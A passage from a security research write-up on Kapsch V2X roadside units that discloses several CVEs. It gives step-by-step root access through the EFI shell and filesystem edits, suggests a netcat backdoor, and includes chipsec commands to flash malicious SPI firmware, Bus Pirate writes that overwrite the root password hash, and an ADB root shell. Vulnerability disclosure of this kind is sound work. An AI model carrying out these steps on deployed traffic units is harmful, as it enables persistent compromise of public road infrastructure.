Traffic Signal Systems (ITSS), Interaction Geometry (MAP), Signal Phase and Timing (SPaT) and much more. [3] This is out of scope of Phase 1 though. Although this technology isn't new, it's yet to be implemented on every corner worldwide. Below is a list of places where the RSUs I tested have been deployed (some RSUs might be the newest model 7360 [12] which I haven't found for sale on the 2nd hand market). - Greeley, CO [4] - DOT I-70, CO [5] - Ohio [6] - Port Bilbao, Spain [7] - Ipswich, Australia [8] --[ 1.2 DSRC & ITS-G5 Dedicated Short-Range Communications (DSRC) is a wireless communication technology specifically designed for vehicle-to-everything (V2X) applications. It operates in the 5.9 GHz band and enables low latency, high-reliability communication between vehicles (V2V), infrastructure (V2I), and pedestrians (V2P). DSRC is based on IEEE 802.11p (11p) -- a Wi-Fi variant for which you'll find old Atheros 9 Wireless Cards have a custom Linux driver that supports sniffing -- and has been widely used for safety-critical applications like collision avoidance, traffic signal priority, and road hazard warnings. Compared to Cellular V2X (C-V2X), DSRC has a shorter range and does not rely on cellular networks but are limited in scalability and future compatibility with 5G advancements. DSRC, however, is what is widely used in the USA at least at the time of writing. At the protocol level, which I'll expand on in a later phase, Wireless Access in Vehicular Environment (WAVE) is utilized. ITS-G5 is the current primary European standard for V2X. For simplicity of this paper, you can consider ITS-G5 a variant of DSRC as it's based off DSRC and 11p. The RSU units I tested support both DSRC and ITS-G5. [9] --[ 1.2 RSU & OBU A roadside unit (RSU) and onboard unit (OBU) are communication devices that facilitate V2X communication. They are installed roadside and in-vehicle (who would've thought) respectively. In Phase 1 I have not covered OBUs, but I have acquired some and will start to test them soon. There are only a few large vendors of these devices and since they are used in critical infrastructure (at least in the case of RSUs) you will find many product pages with no price, little to no documentation, and certainly no SDKs if you can't provide a picture of a unit you own or at least a serial number. --[ 2. Tested Devices --[ 2.1 Models I originally planned to only test 1 9160 and 1 9260. However, over the course of many trials and tribulations, I ended up soft bricking, frying or otherwise running into situations where having more devices was needed or ideal (copium). So logically I ended up with 6 units, although 2 are in a somewhat broken state. If you're interested in what I did, feel free to reach out, as long as you don't tease me. Anyway, the model numbers of my units are: RIS-9160-1A0W [10] and RIS-9260-1AEW (Which seems to be the basic configuration) [11]. In reality, the main difference between the two units is that the 9260 comes with an LTE modem (+ bridge board), and a configured wireless stack. FCC has some useful docs for these units, but they have been approved for a permanent confidentiality request so even the "technical manual" isn't super useful. Still worth checking out, but note that the unit shown in the pictures seems to be a prototype or earlier/revision and the bridge board has way more functionality than the units I've encountered in the wild. [13] --[ 2.2 Chipsets & Notable In-Circuit Components The main difference between the 9160 and 9260 is the addition of an LTE module via bridge board (even the firmware/OS state of the 9260 is often the same as that of the 9160). What's nice about this is that I don't have to list a ton of different components. Computer-on-Module: COMe-mBTi10 (Here's a datasheet)[14] CPU: Intel E3825 RAM: 1GB SPI Flash Memory/EEPROM: Macronix MX25L6406E 8MB eMMC: 4gb (3.6gb accessible) RF: ALPS UMPZ2-ES4.1 (ALPS UMZ2 V753) (User Guide for a similar chip: [15]) Hardware Monitor: Nuvoton NCT7802Y Ethernet Controller: Intel Ethernet Controller I210-AT GNSS: uBlox NEO-M8N-0-10 LTE-Modem: QualComm I've included the block diagrams from the data sheets [10] Here's the block diagram for 9160: |----------------------------------------------------------------| | 5.9GHz 5.9GHz GNSS WLAN* BT* WWAN* | |----------------------------------------------------------------| |[ IEEE 802.11p radio (2x*) ] | |[ WAVE 1609 ] [ GNSS ] | |[ ETSI ITS GS ] | |[ 5.9 application layer ] | |[ 5.9 API ] | |----------------------------------------------------------------| | 5.9GHz radio communication | |----------------------------------------------------------------| | Computer HW platform | | ---------------------------------------------------------- | | | Linux OS | Unique Serial No | | | | TCP/IP Services | Security Services | | | | Watchdog | Real Time Clock | | | | Temp Sensor | Administration Services | | | ---------------------------------------------------------- | | | | Platform & Resources & Protocols | |----------------------------------------------------------------| | External Interfaces | | ---------------------------------------------------------- | | | ETH (PoE) | LEDs | Ext.Power* | GPIO* | | | ---------------------------------------------------------- | |----------------------------------------------------------------| | External radio interface extensions | | ---------------------------------------------------------- | | | WLAN* | BT* | WWAN* | | | ---------------------------------------------------------- | | | | Modular internal extensions | | ---------------------------------------------------------- | | | SSD* | hSD* | USB* | mPCIe* | | | ---------------------------------------------------------- | | | | Operation & Maintenance | | ---------------------------------------------------------- | | Device parameter setting & provisioning | | | |Firmware provisioning | | | |Self-test / Supervision | | | | Webserver* | | | | Logging* | | | | Monitoring* | | | ---------------------------------------------------------- | -----------------------------------------------------------------| * Option Here's the block diagram for 9260 [11]: --------------------------------------------------------------------- | 5.9GHz 5.9GHz 5.9GHz GNSS 3/4G* GNSS | |--------------------------------------------------------------------| |[ IEEE 802.11p radio (2x)(C-V2X*) ] | |[ WAVE 1609 ] [ GNSS* ] | |[ ETSI ITS GS ] | |[ 5.9 application layer ] | |[ 5.9 API ] | |--------------------------------------------------------------------| | 5.9 GHz radio communication | |--------------------------------------------------------------------| | Computer HW platform | | --------------------------------------------------------------- | | | Linux OS | Unique Serial No | | | | TCP/IP Services | Security Services | | | | Watchdog | Real Time Clock | | | | Temp Sensor | Administration Services | | | --------------------------------------------------------------- | | | | Platform & Resources & Protocols | |--------------------------------------------------------------------| | External Interfaces (data, power) | | --------------------------------------------------------------- | | | ETH (PoE) | LEDs | 24/48VDC* | GPIO* | | | --------------------------------------------------------------- | |--------------------------------------------------------------------| | Modular H/W & Extensions | | --------------------------------------------------------------- | | | GNSS* | BT* | 34G* | SSD* | μSD* | USB* | mPCIe* | | | | --------------------------------------------------------------- | | | | Operation & Maintenance | | -------------------------------------------------------------- | | | Device parameter setting & provisioning | | | | Firmware provisioning | | | | Self-test / Supervision | | | | Status LEDs | | | | Web server* | | | | Logging* | | | | Monitoring* | | | -------------------------------------------------------------- | ---------------------------------------------------------------------- * Option --[ 2.3 Notable Physical Interfaces The 9160 and 9260 have the following notable physical interfaces: - a microSD slot - a mSATA slot - 4 pins for read-only UART labeled "debug" - 4 pins for I2C/SPI labeled "I2C" - USB B Port (which can be configured for client or host via BIOS) - a PoE RJ45 port - some other goodies: there's another spot if you wanted to add an additional radio and another set of pads labeled "USB." Unique to 9260 are the following physical components/interfaces: - a bridge board with another set of read-only UART pins labeled "debug" - an LTE modem with a dip switch - a micro-USB port - a 3 pin and 4 pin set Additionally, the 9260 has a second RJ45 port, but I haven't determined its use yet. --[ 2.4 Notable Firmware/Software LEO Versions: 3.2.0.829.23, 3.8.0.1119.42, 4.6.0.1211.28 Embedded OS (EOS) Linux Versions (They're based off ELBE/Debian): 9260: 3.16.35-c3p+, 9160: 4.9.124-ris-152.29 Phoenix Secure Core: MVV1R976 X64 & MVV1R994 X64 V2X RSU Server: roadside V2X Chipset Firmware Version: 1.19.0-deb9-x86 1002 LTE Modem Firmware: MDM9650 Other relevant binaries: acme (V2X radio test), llc (same thing but when using the Cobra Wireless binary [cw-llc]), rsu-configuration (custom V2X configuration script), cv2x-daemon & cv2x-config, C2X_HOST_APP.bin (API wrapper to interact with SXF17XX), aerolink libraries, v2x_radio_test, mm_server I also included a list of custom debs found on the units in the raw output section of this paper. --[ 3. Attack Surface --[ 3.1 Lack of Everything To be blunt, there is a lot to this embedded device, and to the V2X/CV2X stack, and since the device isn't on every corner or in every car, there isn't much public information about it. There were some vulnerabilities found in IPA utilized and I've covered the state of public vulnerabilities, teardowns, explanations or any other kind of information (easily) accessible to the public. Due to this, the entire hardware side of vehicle-to-everything, in its current state, is in its lack-of-everything. Hopefully my work -- however basic it is -- will get some other hackers jumping down these rabbit holes with or without me. In the next few sections, I'm not going to list all the types of vulnerabilities that you can find within each category but more just to give a starting place to do your own research into them. Most of the vulnerabilities from Phase 1 do not cover all the following categories so I'm opting to exclude going into vast detail. As I continue with my research, I will write more about them. --[ 3.2 Hardware Obviously with so many physical components and interfaces, there is a ton of attack surface. Whether it be attaching a SOIC clip to the SPI chip to overwrite the firmware, modify the EEPROM, read/modify over I2C, insert malicious drivers or boot off USB, mSata, or microSD. Not going to list it all here, but the physical/hardware attack surface is extensive. --[ 3.3 Pre-Embedded Operating System (EOS) (BIOS/Bootloader/Kernel) The pre-EOS components are definitely a great place to start on the software/firmware side of things. There is some documentation on Phoenix SecureCore and obviously plenty on syslinux. There are some custom kernel modules but I haven't had to do much beyond modifying kernel modules to get root access in Phase 1. --[ 3.4 Firmware/EOS A bunch of the firmware and EOS is closed source, custom, proprietary, confidential, requires a license and is in no meaningful way in the hands of the public. That said, what I will state is, these units all run a customized Embedded Linux Build Environment (ELBE) Debian-based Linux EOS. They often utilize a modified version of firmware if not running a completely custom firmware built from scratch. This ends up being so fascinating as it's all new and custom but also, it's so much work to wrap your brain around it all. One example: I found one blog post about wardriving/sniffing V2X (DSRC) signals which utilized old Atheros ATH9K wireless cards with custom drivers and a great DefCon lecture [16] but that's it. Then I found an academic paper and a GitHub Repo -- which tracks which ATH9K Wireless NICs are supported. The academic paper and GitHub repo mention that, *in theory* some ATH10 wireless cards should work on the devices as well. So it was then wild to find a custom ATH10 firmware on the devices. This firmware is located at: /mnt/c3platpersistent/opt/firmware/ath10k/QCA988X/hw2.0/ --[ 4 - Achieving Root --[ 4.1 - Simple and Useful These systems come shipped with an EFI shell (I know, right?) which makes things a lot easier to deal with. There is a lot you can do via the EFI shell but this section is going to cover the simplest path to gaining root access on the device. Unscrew the four screws to pop the cover off the unit. Then attach your UART adapter to get output, insert your FAT32 formatted microSD card into the port, and insert a keyboard into the USB port. Press F5 to enter the boot menu upon connecting your PoE cable and select “Internal Shell”. Once in the EFI shell, you'll see that the microSD is mounted as fs0 and the system's emmc is mounted as fs1. Use the cp command to copy fs1: to fs0:. Command: cp -r fs1:\ fs0:\images Unplug the PoE cable to shut off the unit, pop out the microSD and insert it into a Linux box. cd to the microSD and then the /live/ directory. Now use unsquashfs -s rootfs to get information including compression and block size which are needed to resquash the EOS after making modifications. Cool, now you can cd into squashfs and view the EOS files. By default, these units are configured for IPv6 exclusively, so at minimum you need to add a bridge to etc/network/interfaces such as the following: auth eth0:1 iface eth0:1 inet static address 192.168.1.XXX netmask 255.255.255.0 gateway 19.168.1.1 Now, add your ssh public key to root/.ssh/authorized_keys and be sure to chmod the .ssh/ and authorized_keys files properly. Lastly, uncomment the authorized_keys line within the sshd configuration file. Now resquash the modified EOS filesystem via: mksquashfs squashfs-root output/rootfs -comp gzip -b 131072 -noappend Copy the new rootfs to the microSD, etc. Once back in the EFI shell, cp the new rootfs to /live/rootfs. For good measure, mv the Manifest and Manifest.asc files and rename them with .bak. Now exit the EFI shell, wait for the unit to boot and: ssh -i root_priv_key root@192.168.1.XXX. If you're prompted for a password, it's likely that the ssh server is asking for an outdated algorithm for the key, so use this to get around that temporarily: ssh -o PubkeyAcceptedAlgorithms=+ssh-rsa -i root_priv_key root@192.168.1.XXX Grats, you now have root access. --[ 4.2 Quickest To gain just any type of root access, you can just add a netcat backdoor to rc.local, cron.d, a custom service or some other ways that you know. --[ 4.3 Troubleshooting On some units I needed to disable IPV6 completely. There are a bunch of ways to do this such as via modifying kernel parameters in /live/LIVE or in syslinux.cfg by adding 'ipv6.disable=1' to the APPEND line. Alternatively, by adding the following lines to /usr/tmplt/etc/sysctl.d/99-sysctl.conf: net.ipv6.conf.all.disable_ipv6 = 1 net.ipv6.conf.default.disable_ipv6 = 1 net.ipv6.conf.lo.disable_ipv6 = 1 If you're still having trouble getting the unit to be accessible over IPv4, I have a few other tips: - Remove 'quiet' from the APPEND line - add 'console=ttyS0,115200N8' There are a ton of other kernel parameters you can add to assist in troubleshooting. Although this shouldn't be needed, here are some other changes you can make: - comment out any lines in avahi-daemon.conf that mention ipv6 - add eth0:1 to not be managed by avahi. - Remove the 'rescue_mode=shell' from the APPEND line in RESCUE. There are two versions of the EOS that the unit includes: the rescue and live versions. It was a coin flip if the unit I got initially tried to boot to rescue or live. If it's booting to rescue, there are a few extra steps but really you can modify the bootloader parameters to boot to live. If you're struggling to get the device to boot to the live firmware image, just use the edit command within the EFI shell to modify the RESCUE file: - change the BOOT_IMAGE=/rescue/vmlinuz to BOOT_IMAGE=/live/vmlinuz - change the value of root_sfs from root_sfs=/live/rootfs to root_sfs=/rescue/rootfs Now, you really shouldn't have to do this but if you're still having trouble, you can look into modifying the update_ipconfig.sh script to get IPv4 configured properly. --[ 5 - Batch 1 of Vulnerabilities: Multiple Paths to Persistent Backdoors This first batch of vulnerabilities I've found are low hanging fruit, easy to find when you've gained whichever level or type of access is required. I will make some posts in the future going into much more detail of these vulnerabilities, their underlying components, and eventually provide proof of concepts (PoCs). Most are also fairly simple to fix (with physical access at least). That said, the fact that these types of hardware protections, misconfigurations, etc were found across all the devices I have (both new and used units) is wild. I put the cheesiest one last, so don't expect a long explanation for that one. I've listed them with very self-explanatory titles though. As most of these vulnerabilities were found using the Chipsec framework [17], I'm going to include the relevant raw output of the main chipsec scan results from running chipsec_main.py against one of the units. --[ 5.1 - Insecure SPI Flash Permissions Allow Persistent Firmware Modification - CVE-2025-25733 This vulnerability affects both the 9160 and 9260 RSUs and is a result of missing access controls. Both models of the RSUs support Serial Peripheral Interface (SPI) and contain a Winbond W25Q64JVSIQ NOR Flash Chip. Although I laid out multiple ways to access SPI, the simplest way I've found is via Chipsec. Looking at the Chipsec output, you can see where this vulnerability was found by the chipsec_main.py scan: [*] Software access to SPI flash regions: read = 0xFF, write = 0xFF [-] Software has write access to SPI flash descriptor [-] FAILED: SPI Flash Region Access Permissions are not programmed securely in flash descriptor This confirms the SPI Flash Descriptor, Basic Input Output System (BIOS), Intel Management Engine (ME), Gigabit Ethernet and Platform Data (PD) firmware could be readable and writable. You can also use the chipsec utility script -- chipsec_util.py -- to confirm this vulnerability: fs0:\EFI\chipsec-1.13.8> python chipsec_util.py spi info Then to flash malicious firmware you can use: fs0:\EFI\chipsec-1.13.8> python chipsec_util.py spi write malicious_firmware.bin Then you can verify the modifications persisted: fs0:\EFI\chipsec-1.13.8> python chipsec_util.py spi dump verify_dump.bin diff malicious_firmware.bin verify_dump.bin Needless to say, there are countless ways to leverage this, along with the fact that OS reinstalls/reboots do not affect this backdoor. Compromising the platform firmware components stored on the SPI flash is fairly stealthy, and if Secure Boot were to be enabled, this backdoor could enable a bypass. --[ 5.2 - Persistent Privilege Escalation via Modifiable EEPROM (Serial Presence Detect (SPD) Write Disable Not Set) - CVE-2025-25732 This vulnerability affects both the 9160 and 9260 RSUs and is a result of missing access controls. The EEPROM stores the root and default ('kapsch') user password hashes, which are copied into /etc/shadow at boot. This enables an attacker to: - Modify EEPROM to insert their own password hashes - Achieve persistent root access across reboots - Exploit SSH auto-start in rescue/live mode for remote access Here's code from the bash script that the eeprom_handler service executes upon every boot: function update_shadow_file_rootuser { local ENCRYPTED_PASSWORD=$1 local TMPFILE=$(tempfile -m 0640) grep -v ^root /etc/shadow > ${TMPFILE} local ROOT_LINE=$(grep ^root /etc/shadow | cut -d: -f1,3-) echo ${ROOT_LINE} | sed -es":\::\:${ENCRYPTED_PASSWORD}\::" >> ${TMPFILE} mv ${TMPFILE} /etc/shadow } function handle_root_password { if [ ! -e ${ETC_EEPROM}/.p.eesign.status ]; then return 0 fi if [[ `cat ${ETC_EEPROM}/.p.eesign.status` != 'ok' ]]; then return 0 fi if [ ! -e ${ETC_EEPROM}/p.root.password ]; then return 0 fi update_shadow_file_rootuser `cat ${ETC_EEPROM}/p.root.password` Lets look at the Chipsec output that flags the actual issue: [x][ Module: SPD Write Disable [*] SMBUS_HCFG = 0x01 << Host Configuration (b:d.f 00:31.3 + 0x40) [04] SPD_WD = 0 << SPD_WD [-] FAILED: SPD Write Disable is not set and SPDs were detected To read the root users hashed password with bus pirate: [0xAE 0x05 0xC9] [0xAF r:16] Which returns something like: RX: 0x15 ACK 0x6F ACK 0x2E ACK 0x6F ACK 0x70 ACK 0x65 ACK 0x72 ACK 0x61 ACK.. When you decode, it looks like: $6$BqXRbsRiiI1MI6WE$RT68Njgv1LyqxjgNJ8Od1mLjm0NuWbEE7 6z35a4XXXu7.SosIHaCgABcGM1s4xTFOywTaNFLu9SCXXXSvAPo.1 Now with physical access, you can use the following command to overwrite the root user's hash (replace the bytes after the 3rd byte on each line with the hash you want ) Bus Pirate Command (One line at a time): [0xAE 0x05 0xC9 0x24 0x36 0x24 0x5a 0x39 0x4c 0x37 0x58 0x71 0x4b 0x6a 0x4b 0x38 0x34 0x76 0x77] [0xAE 0x05 0xD9 0x65 0x45 0x4f 0x24 0x78 0x7a 0x47 0x6c 0x63 0x5a 0x54 0x37 0x51 0x45 0x6a 0x35] [0xAE 0x05 0xE9 0x55 0x6d 0x58 0x52 0x71 0x6b 0x70 0x78 0x36 0x39 0x42 0x66 0x4b 0x36 0x62 0x57] [0xAE 0x05 0xF9 0x47 0x4a 0x57 0x73 0x4b 0x41 0x75 0x46 0x31 0x75 0x36 0x44 0x39 0x4a 0x59 0x71] [0xAE 0x06 0x09 0x32 0x6a 0x41 0x4b 0x50 0x68 0x79 0x6d 0x42 0x35 0x38 0x33 0x61 0x69 0x4a 0x35] [0xAE 0x06 0x19 0x2f 0x75 0x50 0x70 0x45 0x41 0x48 0x67 0x47 0x32 0x4a 0x79 0x72 0x67 0x5a 0x4e] [0xAE 0x06 0x29 0x79 0x35 0x43 0x62 0x77 0x77 0x34 0x6b 0x44 0x31] Alternatively, with local access the RSUs come preinstalled with at least two tools that allow you to modify the EEPROM in userspace. First is infotool, an interactive custom information tool included with the firmware. Output looks like: Kapsch >> Info Tool -------------------- Information ------------ EEPROMs ------------ CB ------------ < press up for more ... > p.obslot0.serial : NLXX132E00XXXX p.pps.offset : 0x00 p.ps.extpower : 1 p.ps.poe : 1 p.radio1.a.mac : 00:e0:6a:01:xx:xx p.radio1.ant1.atten : 5 p.radio1.ant2.atten : 10 p.radio1.b.mac : 00:e0:6a:01:xx:xx p.radio1.name : ALPS-UMPZ2A3001A p.radio2.a.mac : 00:E0:4B:57:XX:XX p.radio2.ant1.atten : 5 p.radio2.ant2.atten : 10 p.radio2.b.mac : 00:E0:4B:57:XX:XX p.radio2.name : ALPS UMZ2 V753 p.revision : 03 p.root.password : $6$BqXRBsRiiIMI6WE$RT68NjgvLlxxxjgNJ80d1mLjm0NWuXXX6z35a4oKcu7.Sos p.serial : PZB00XXX < press down for more ... > Additionally Infotool lets you modify as well: Kapsch >> Info Tool ---------------------- [ Change Settings ] < EEPROM Editor < EEPROM Add Key < EEPROM Delete Key And second is eeprom_tool. A bonus is the eeprom_write_enable.sh in case you accidentally disable write or the unit you acquired had write disabled (the 6 I have do not) --[ 5.3 - Lack of SPI Protected Ranges Enables Unauthorized Flash Modification - CVE-2025-25735 This vulnerability affects both the 9160 and 9260 RSUs and is a result of missing access controls. You can view this as the software/userspace side of section 6.1. SPI Protected Range Registers (PRRs) are not set, meaning there is no software-based restriction preventing unauthorized SPI flash modifications. The system doesn't prevent runtime modifications to critical firmware. Ultimately this allows firmware tampering at runtime for the same regions as in 6.1. Additionally, it allows malware to disable security features before reboot. No need to rehash what I covered in 4.2 and 6.1, so here's the Chipsec output confirming this vulnerability: [*] FRAP = 0x0000FFFF << SPI Flash Regions Access Permissions Register (SPIBAR + 0x50) [00] BRRA = FF << BIOS Region Read Access [08] BRWA = FF << BIOS Region Write Access [*] Software access to SPI flash regions: read = 0xFF, write = 0xFF --[ 5.4 - Improper Access Control in EFI Boot Environment Allows Persistent Firmware Modification - CVE-2025-25734 This vulnerability affects both the 9160 and 9260 RSUs and is a result of missing access controls. Specifically, Secure Boot UEFI variables are protected BUT Secure Boot is disabled. So no problem if I can't modify them. I think the attack path leveraging this is very obvious: Secure Boot is disabled, so the BIOS allows execution of unsigned bootloaders and OS kernels. This vulnerability is especially helpful, as it made getting access to the EOS/Userspace trivial. Relevant Chipsec output: [*] Secure Boot appears to be disabled [+] PASSED: All Secure Boot UEFI variables are protected --[ 5.5 - Improper SMM Lock Configuration Enables Unauthorized System Management Mode (SMM) Modification - CVE-2025-25738 The UEFI menu shows SMM Lock = Disabled. This control locks SMRAM to prevent non-SMM code from modifying SMM handlers. With it disabled, a kernel privileged attacker can alter SMM handlers and gain SMM code execution, which operates outside the OS and hypervisor. This significantly raises the risk of stealthy compromise. However, persistence across reboots requires separate weaknesses or bypasses in firmware write-protection (BLE/BIOSWE, SMM_BWP). SMM Lock alone does not ensure persistent firmware infection, and OS based tools generally cannot inspect SMRAM. Screenshot from UEFI menu Confirming SMM Lock is disabled linked below: https://github.com/GainSec/Phrack-72-Raw-Output-V2X/blob/main/Raw-Output/SMM-Lock-Disabled.png --[ 5.6 - Unauthorized ADB Root Shell Access to Cellular Modem - CVE-2025-25736 Now we're into even more low hanging fruit territory. This vulnerability only affects 9260 RSUs aka the CV2X units, as the 9160s do not have an LTE modem. From the local access approach, platform-tools including adb are installed at /mnt/c3platpersistent/opt/platform-tools/. You can just start an adb shell and you'll have root access to the modem. If the c3platpersistent partition isn't automatically mounted (I ran into that on only one of the units) you should first run lsblk, fdisk -l or whatever other way you want to find the proper partition, then mount it. Now you should have access to it. Alternatively, the RSUs all had debs on them which can be installed via the kpdkg (kapsh dpkg) command. The .deb that includes platform-tools is kapsch-persistence_1.1-beta-USDoT-QualcommCCA.deb. Full command: kdpkg -i kapsch-persistence_1.1-beta-USDoT-QualcommCCA.deb Now it's accessible. Alternatively with physical access, you can just plug into the microUSB port on the modem and adb shell. PS C:\Android\Sdk\platform-tools> .\adb.exe devices * daemon not running; starting now at tcp:5037 * daemon started successfully List of devices attached 91dc4XXX device PS C:\Android\Sdk\platform-tools> .\adb.exe shell sh-3.2# whoami root sh-3.2# ls -lha total 8 drwxr-xr-x 23 root root 1.8K Aug 16 2018 . drwxr-xr-x 3 root root 224 Aug 16 2018 .. drwxr-xr-x 3 root root 1.8K Aug 16 2018 WEBSERVER drwxr-xr-x 2 root root 15.6K Aug 16 2018 bin drwxr-xr-x 3 root root 1.8K Aug 16 2018 boot -rw-r--r-- 1 root root 160 Aug 16 2018 build.prop drwxr-xr-x 9 root root 3.9K Jun 19 07:43 cache drwxrwxr-x 19 root root 7.0K Jun 19 07:43 data drwxr-xr-x 5 root root 5.0K Aug 16 2018 dev drwxrwxr-x 35 root root 7.0K Aug 16 2018 etc drwxrwxr-x 5 43514 200 360 Jul 1 2018 firmware --[ 5.7 - Weak or Unset Default BIOS Supervisor/User Passwords Allow Unauthorized Firmware Access - CVE-2025-25737 Yeah... this one might just be petty? Idk, here you go. This vulnerability affects both the 9160 and 9260 RSUs and is a result of misconfigurations. I found it within both the new and used units. By default, the Phoenix SecureCore BIOS has a password policy requiring just 1 character. More importantly, the Phoenix SecureCore BIOS, by default, has both the User & Supervisor passwords unset. Again, if either of these passwords were set, it'd be a lot more annoying to get started poking at these units. Another thing to note, TPM is supported but not detected. Here's the relevant output: Phoenix SecureCore Technology Setup ---------------------------------------------------- Main Advanced Security Boot Exit ---------------------------------------------------- Supervisor Password is: Cleared User Password is: Cleared Set Supervisor Password [Enter] Supervisor Hint String [ ] Set User Password [Enter] User Hint String [ ] Min. password length [ 1 ] Authenticate User on Boot [Disabled] HDD Security Status No HDD detected Trusted Platform Module (TPM) ---------------------------------------------------- Item Specific Help ---------------------------------------------------- Set or clear the Supervisor account's password. ---------------------------------------------------- F1 Help ↑↓ Select Item +/- Change Values Esc Exit ◇ Select Menu Enter Select > Sub-Menu F9 Setup Defaults F10 Save and Exit ---------------------------------------------------- --[ 6 - Phase 2: Onto the (C)V2X Client/Server Stack --[ 6.1 - Can I have some more? At this point it is easy to tell that there is still so much to this embedded device to hack. I haven't even figured out what that second RJ45 port is for, I haven't determined what all the holes and pads are for. I haven't soldered a second USB port to the proper pads. I haven't explored custom bridge boards, or even delved very deep into the LTE modem (although I have confirmed it has default passwords and web services set up). I haven't messed with the boot over LAN or mSata port. I think the point is clear, just at a high level there is so much more to explore. And I definitely plan to but not within the next phase of my reverse engineering. This is both a curse and a blessing. These devices are fairly new and are such dark holes, that there is so much untapped potential to hack 'em all. --[ 6.2 Android/iOS Applications Turns out that there are already at least three applications that can interact with the RSU server that these units run. They are available for both Android & iOS and are called "Kapsch TrafficAssist, Kapsch V2X Assist, Kapsch V2X Insight." There is also a "GeauxPass" application I haven't looked at all. The one I found especially interesting is the Insight application as it allows you to view or modify some aspects of the RSU server. It also displays logs and it nice to use to confirm that the RSU stack is running at least. It also gives you insight to the sheer amount of data this RSU can collect. [18] I haven't gone much deeper than throwing the Android apps into MobSF but it is definitely high on my list to start to take a peek at. --[ 6.3 - RSU Server Stack Another at the tippity top of my TODO list is to start testing the RSU Server Stack. Or at this point, just reverse engineer it enough to understand it confidently. There are so many components within V2X like WAVE, IPANet, CW-LLC, DSRC, ITS-G5, SAE J2735/XX, 11p, 3GPP LTE-V2X, etc, that the RSU supports and that doesn't include other intelligent traffic systems like crosswalks, bridges, tolls, lights, etc.. I did mention some of the notable binaries, but there are many more I didn't get to mention in Phase 1. Hopefully the OBUs I acquired will make this easier for me as well. --[ 6.4 - Remote/Wireless Exploits Obviously the creme de la creme would be an over the air exploit to get an initial foothold. Although some of the protocol components have had some vulnerabilities in the past, there is still definitely a lot of empty space that needs to be researched and tested. The fact that these devices are used in critical infrastructure, are mounted onto poles where thousands of cars will pass and broadcast V2X by design, there's definitely an itch in my brain saying there's something there. But as of yet, I will continue to take one step forward at a time with a over the air exploit as the destination. --[ 7 - Random Nuggets --[ 7.1 - Sniffing, Outdated Components, Certificates & Keys, External (Web Services) Oh my! Here is some information that I couldn't get to in this paper but I found interesting, valuable or just plain cool. Don't expect any rhyme or reason please, just enjoy. Most of the units ran a version of ssh that is vulnerable to user enumeration. When I acquired the first unit, I spent probably close to 6 hours attempting to gain access to the rescue EOS that it was by booting into by default. I must've tried half a million or more possible usernames, but besides root, only ended up getting discovering the user 'kapsch' by adding it to a small wordlist I just created off the top of my head. While focusing first on the rescue EOS, I gained root access by modifying the custom bash script that is executed upon boot. So I was super excited when I saw: [ OK ] Started watchdog daemon. Creating user 'gainsec' ... cp: cannot stat '/etc/eeprom-cb/s.publickey.gainsec': No such file or directory chmod: cannot access '/home/gainsec/.ssh/authorized_keys': No such file or directory User 'gainsec' created with SSH access. Adding 'gainsec' to sudo group for root privileges... Granting 'gainsec' root privileges... Copyright (c) Kapsch Traffic COM AG 2016 GainSec was Here LEO RESCUE system version 4.6.0.1211.28 useradd: user 'kapsch' already exists INFO: Updating /etc/shadow [ 0.000000] DMI: N/A N/A/COMe-mBTi10, BIOS MVV1976 X64 10/10/2017 Kontron Board found, ready to go [ 25.082404] FAT-fs (mmcblk1p1): Volume was not properly unmounted. Some data may be corrupt. Please run fsck. [ 25.082404] FAT-fs (mmcblk1p1): Volume was not properly unmounted. Some data may be corrupt. Please run fsck. boot-counter was set to 2 Debian GNU/Linux 9 PEM00076 ttyS0 PEM000XX login: [ 26.153799] random: crng init done [ 26.153799] random: crng init done [ 26.160642] random: 7 urandom warning(s) missed due to ratelimiting [ 26.160642] random: 7 urandom warning(s) missed due to ratelimiting Little did I know, the EOS is configured with the SUID bits set incorrectly. So, sudo is not possible. Since it’s a squashfs, it's mounted as read-only and without root access you can't remount with write access so... yeah that was a little heart breaking. The EOS utilizes ELBE which uses Debian. The roadside RSU server application actually utilizes SNMP for a lot of functionality and includes a honeypot called herbert. The /mnt/rescuefs/usr/tmplt/etc/elbe_base.xml seems to contain the 'kapsch' user's default password but as you can probably guess, it isn't actually. <suite>jessie</suite> </project> <target> <hostname>CB-9160</hostname> <domain /> <passwd>rmrf</passwd> <console>/dev/null,</console> <package> <squashfs> <name>root.sfs</name> </squashfs> </package> <finetuning> <adduser groups="sudo,i2c" passwd="" shell="/bin/bash">kapsch</adduser> <b2t_cp path="../../linux-image-3.16.35-c3p+_3.16.35.125.23_i386.deb"> /tmp/ </b2t_cp> To decode the I2C data when gathering it via bus pirate, you can use xxd. Or, in powershell: [System.Text.Encoding]::ASCII.GetString(([byte[]](I2C-HEX))) You can test the CV2X radios with the acme binary by using the following commands: /etc/init.d/start_cv2x_le start cv2x-config --register-sps-flow 1,10,1,200,287,2500,2600 acme -RVAe -i rmnet_data1 acme -A -i rmnet_data1 Alternatively, for the 9160s you can do the following: ip link show cd /mnt/c3platpersistent/opt/11p/bin/llc-v13 sudo ./llc chconfig -s -w SCH -c 172 -r b -m MK2MCS_R12QPSK -p 33 sudo ./llc chconfig -s -w CCH -c 172 -r b -m MK2MCS_R12QPSK -p 33 sudo ip link set cw-llc promisc on sudo ip link set wave1 promisc on sudo ip link set cw-mon-rxb promisc on sudo ip link set cw-mon-txb promisc on sudo tcpdump -i wave1 -w /home/kapsch/microSD/wave1_traffic.pcap & sudo tcpdump -i cw-llc -w /home/kapsch/microSD/cw_llc_traffic.pcap Then run a simple loop to check for valid data coming in: while true; do ./llc count | grep 'Rx MAC Valid Data Frames\|Rx MAC Broadcast Frames' && sleep 3; done You can also monitor the following directories for logs: /var/log/pcap/RadioA/ /var/log/pcap/RadioB/ /mnt/c3platpersistent/var/log/ /home/kapsch/microSD/*pcap If your unit has both radios: sudo ip link set wave-raw promisc on sudo ip link set wave-mgmt promisc on sudo tcpdump -i wave-raw -w dsrc_traffic.pcap sudo tcpdump -i wave-mgmt -w dsrc_traffic.pcap sudo ip link set wave0 up sudo ip link set wave0 promisc on sudo ./llc chconfig -s -w CCH -c 178 -r a -m MK2MCS_R12QPSK -p 33 sudo ./llc chconfig -s -w SCH -c 178 -r a -m MK2MCS_R12QPSK -p 33 sudo tcpdump -i wave0 -w /home/kapsch/microSD/wave0_traffic.pcap Now this is just what I've concluded and I have not gone through all channels and modulations yet. I did however, drive for about 20 minutes with an RSU sniffing and found no signals. On my website, gainsec.com I've also gone through how to use a SDR to sniff/send out V2X packets which helped confirm that these test binaries were working as expected. Example Setup for U.S. V2X Channels | Radio Interface | Channel 